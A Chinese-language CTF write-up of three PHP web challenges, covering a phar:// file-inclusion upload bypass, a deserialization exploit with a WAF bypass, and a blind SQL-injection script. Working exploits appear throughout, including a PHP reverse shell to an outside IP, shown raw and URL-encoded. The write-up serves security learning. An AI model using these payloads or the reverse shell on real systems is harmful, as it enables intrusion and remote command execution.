Web
0x01:签到题
源码
index.php:
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
upload.php:
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
writeup
进去有一句话:Tips: the parameter is file! :)
, 意思是这个页面接受一个参数file。
查看网页源代码发现有一句注释 “upload.php”,访问后是一个文件上传的界面。
回去index界面,尝试输入参数file=upload.php,发现报错:
Warning: include(upload.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 15
得知这个参数的值是传给include的,并且会在后面补一个 .php 后缀。
尝试加个%00截断。被waf吃了……
用PHP伪协议读源码,发现可以读到源码。index.php 和 upload.php 的源码在上面。
审计源码发现 upload.php 限制了上传的后缀和content-type,并且过滤了%00之类的截断,所以不可能直接上传包含恶意文件。这里利用了 phar://
伪协议。
写一个含有PHP木马的文件a.php,打包成压缩包,再重命名为b.jpg,然后上传。成功上传后构造payload如下:
http://174.137.54.82:8080/?file=phar://upload/b.jpg/a
成功Getshell,在根目录下找到flag。
总结
这道题的知识点主要是 phar://
伪协议。这个伪协议可以访问压缩流,并且和文件的后缀无关。所以可以绕过后缀检测读取恶意文件。
0x02 babyweb
源码:
index.php:
<?php
class BlogLog {
public $log_ = '/tmp/web_log';
public $content = '[access] %s';
public function __construct($data=null) {
$temp = $this->init($data);
$this->render($temp);
}
public function init($data) {
// No, you can't control an object anymore!
$format = '/O:\d:/';
$flag = true;
$flag = $flag && substr($data, 0, 2) !== 'O:';
$flag = $flag && (!preg_match($format, $data));
if ($flag){
return unserialize($data);
}
return [];
}
public function createLog($filename=null, $content=null) {
if ($this->log_ != null)
$filename = $this->log_;
if ($this->content != null)
$content = $this->content;
file_put_contents($filename, $content);
}
public function render($k) {
echo "Fuck Apeng!!!!!";
echo sprintf($this->content, $k['name']);
}
public function __destruct() {
$this->createLog();
}
}
$data = "";
if (isset($_GET['data']))
{
$data = $_GET['data'];
new BlogLog($data);
}
else
{
highlight_file(__FILE__);
}
writeup
这道题上来就给了源码。审计源码发现有 unserialize($data)
,并且这个 data
是我们可控的。于是寻找可利用的危险函数。
在 createLog
这个函数里面找到了 file_put_contents
这个危险函数,它可以让我们向web目录下写入一个PHP木马。回溯寻找调用链。这个函数是由类的魔术方法 __destruct
调用的,写入的文件名和内容都是类的变量。类在创建的时候会调用反序列化。利用方法已经找到了,剩下的就是绕waf了。
这道题的waf是两个if。第一个if检测了最开始的两个字符,不能是 O:
。这个可以用数组来绕过。第二个if通过正则匹配了 O:(数字)
这样的字符串。这里可以通过在 O:
后面加 +
来绕过。(具体原因见:http://sec-redclub.com/archives/962/)
exp:
<?php
class BlogLog
{
public $log_ = './s.php';
public $content = '<?php set_time_limit(0);$ip=\'193.112.253.241\';$port=\'8848\';$fp=@fsockopen($ip,$port,$errno,$errstr);fputs($fp,"\n++++++++++connect success++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);?>';
}
$a = new BlogLog;
$data = [$a];
echo serialize($data);
?>
加上 +
后进行 URL encode 得到payload:
%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%2b%37%3a%22%42%6c%6f%67%4c%6f%67%22%3a%32%3a%7b%73%3a%34%3a%22%6c%6f%67%5f%22%3b%73%3a%37%3a%22%2e%2f%73%2e%70%68%70%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%36%30%3a%22%3c%3f%70%68%70%20%73%65%74%5f%74%69%6d%65%5f%6c%69%6d%69%74%28%30%29%3b%24%69%70%3d%27%31%39%33%2e%31%31%32%2e%32%35%33%2e%32%34%31%27%3b%24%70%6f%72%74%3d%27%38%38%34%38%27%3b%24%66%70%3d%40%66%73%6f%63%6b%6f%70%65%6e%28%24%69%70%2c%24%70%6f%72%74%2c%24%65%72%72%6e%6f%2c%24%65%72%72%73%74%72%29%3b%66%70%75%74%73%28%24%66%70%2c%22%5c%6e%2b%2b%2b%2b%2b%2b%2b%2b%2b%2b%63%6f%6e%6e%65%63%74%20%73%75%63%63%65%73%73%2b%2b%2b%2b%2b%2b%2b%2b%5c%6e%22%29%3b%77%68%69%6c%65%28%21%66%65%6f%66%28%24%66%70%29%29%7b%66%70%75%74%73%28%24%66%70%2c%22%73%68%65%6c%6c%3a%22%29%3b%24%73%68%65%6c%6c%3d%66%67%65%74%73%28%24%66%70%29%3b%24%6d%65%73%73%61%67%65%3d%60%24%73%68%65%6c%6c%60%3b%66%70%75%74%73%28%24%66%70%2c%24%6d%65%73%73%61%67%65%29%3b%7d%66%63%6c%6f%73%65%28%24%66%70%29%3b%3f%3e%22%3b%7d%7d
打过去后成功Getshell。
总结
这道题算是涨姿势了,之前从来不知道反序列化还可以这么绕过……不过通过这题我算是了解了反序列化的思维方式:通过危险函数回溯来寻找利用链,弄清楚需要控制哪些变量,然后再去考虑绕过waf。
0x03 easyweb revenger
源码
index.php:
<?php
error_reporting(0);
include_once("conn.php");
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$black=['admin','guest','limit','by','lpad','substr','mid','like','or','char','union select','greatest','%00','\'','_',' ','in','<','>','_','\.','\(\)','#','and','substring_index','table_name','desc','if','trim','get_lock','order','substring','database','concat','length','benchmark','where','concat','upper','insert','having','sleep','regexp','load_file','where','update','updatexml','schema'];
foreach ($black as $value) {
if(preg_match("/".$value."/i", $str))
return false;
}
return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_REQUEST['id']) || empty($_REQUEST['id'])) {
die(json_encode(['error' => 'Which one do you wanna vote.I prefer Ashen!']));
}
$id = $_REQUEST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Try again, Hacker!']));
}
$db = new mysqli($host, $user, $pass, $dbname);
$res = $db->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error has occurred when voting!']));
}
//print("UPDATE vote SET count = count + 1 WHERE id = ${id}");
echo json_encode(['message' => 'Vote succeed.']);
?>
writeup
打开题目是一个选举的界面。查看网页源代码发现有两行注释:
<!-- flag is in table flag -->
<!-- sources is in ./vote.php?source -->
明显的注入。
访问注释中的路径得到源码。审计源码,基本都过滤完了……
注入点应该是在id那里。简单测试一下,发现只要语句正确投票数就会 +1。这里就存在盲注的漏洞。
看看怎么绕过吧。空格可以用 /**/
绕过;and 可以用 ^
来代替;substr之类的可以先left()再right()来代替;ascii()也没有被过滤。这里把schema和table_name给过滤了,所以只能盲猜了。题目给了flag在flag表里面,那就猜测flag表里面有一个flag列,里面就是flag。上脚本试试:
#encoding: utf-8
import requests as r
import string
import re
url0 = "http://123.207.32.26:8001/"
url1 = "http://123.207.32.26:8001/vote.php?id="
characters = string.ascii_letters + string.digits + string.punctuation
max_len = 60
database = ""
num = 0
for i in range(1, max_len):
next_position = False
for j in characters:
payload = url1 + "0^(ascii(right(left((select/**/flag/**/from/**/flag),{0}),1))={1})".format(i, ord(j))
#print (payload)
response = r.get(url0)
num = int(re.findall(r"Aye<br>votes:(\d+)", response.text)[0]) + 1
#print (num)
r.get(payload)
response = r.get(url0)
check = "Aye<br>votes:{}".format(num)
if check in response.text:
database += j
next_position = True
break
num = num + 1
if next_position == False :
break
print (database)
print (database)
脚本跑一通还真就跑出东西来了,这说明猜测是对的。得到flag。
总结
这道题让我Get了一种方法:同时用left和right来代替substr。还有就是最开始那个waf是没有效果的……直接就return true了……那时候我没用ascii()这个函数,注出来的flag全是小写。可能是substr或者是=的问题吧……以后要多注意一下这种细节。